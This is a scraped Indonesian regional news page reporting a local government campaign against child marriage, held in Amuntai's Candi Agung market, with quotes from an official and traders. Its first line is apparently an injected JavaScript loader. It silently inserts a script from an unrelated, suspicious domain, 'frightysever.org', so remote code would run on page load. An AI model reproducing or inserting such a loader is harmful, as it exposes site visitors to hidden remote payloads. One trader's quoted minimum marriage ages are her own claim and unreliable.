(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Cegah Perkawinan Anak, DPPPA HSU Gelar ‘Orasi’ di Tengah Warga dan Pedagang


AMUNTAI, Ada yang berbeda saat Dinas Pemberdayaan Perempuan dan Perlindungan Anak (DPPPA) Kabupaten Hulu Sungai Utara (HSU) menggelar Aksi Sosialisasi Pencegahan Perkawinan Anak kepada masyarakat. Tak hanya berbekal spandok dan poster, kegiatan yang digelar di kawasan Jalan Empu Jatmika pasar Candi Agung Amuntai, Selasa (1/10), langsung mengajak warga dan para pedagang untuk perhatian terhadap program pencegahan ini.

“Perkawinan anak merupakan pelanggaran hak – hak anak perempuan dan laki-laki. Karena anak rentan kehilangan hak pendidikan kesehatan, gizi, perlindungan dari kekerasan expolitasi dan tercabut dari kebahagian masa anak – anak,”jJelas Rusinah di tengah orasinya.

Lebih lanjut, Rusinah menyebut aksi terjun ke masyarakat yang berada di pasar ini agar bisa langsung bersentuhan dengan warga dari berbagai macam lapisan dan latar belakang. “Sudah beberapa kali melakukan aksi ini, mungkin dua hari kedepan akan melakukan aksi lagi dengan sasaran masih di pasar yaitu di pasar unggas dan di pasar kerajinan tangan,” jelas Kabid Kualitas Hidup Perempuan dan Keluarga DPPPA HSU ini.

Selain itu, Rusinah mengatakan saat ini menurut data DPPPA Kabupaten HSU dari tahun 2017 sampai 2019 perkawinan usia anak semakin menurun, hal tersebut semakin dilakukan dengan upaya sosialisasi pencegahan agar perkawinan usia anak tidak ada lagi HSU.


“Dengan adanya aksi ini masyarakat yang mendengar di pasar ini bisa menyampaikan keluarga, tetangga, dan juga kepada anak anak meraka sehingga lebih efektif,” pungkas Rusinah.

Saat ini sebagian besar masyarakat masih belum mengetahui bahaya perkawian anak. Seperti salah satu seorang pedagang kue di pasar candi mengatakan, “tidak mengetahui bahaya dampak menikahkan anak yang masih belum cukup umur dan batas batas minimal menikah bagi anak,” ucap salah satu pedagang di pasar.

Lain halnya Ibu Umi pedagang ayam yang mengaku sudah mengetahui banyak tentang bahaya pernikahan usia anak tersebut dan minimal perkawinan usia anak. “Kalau perempuan usia nikah 18 tahun, kalau laki laki umur 25 tahun, apabila nikah terlalu muda bisa berbahaya bagi perempuan dalam melahirkan” tukasnya.(dew)

Reporter : Dew
Editor : Chell


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

14 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

17 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

17 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

19 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

21 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

22 jam ago

This website uses cookies.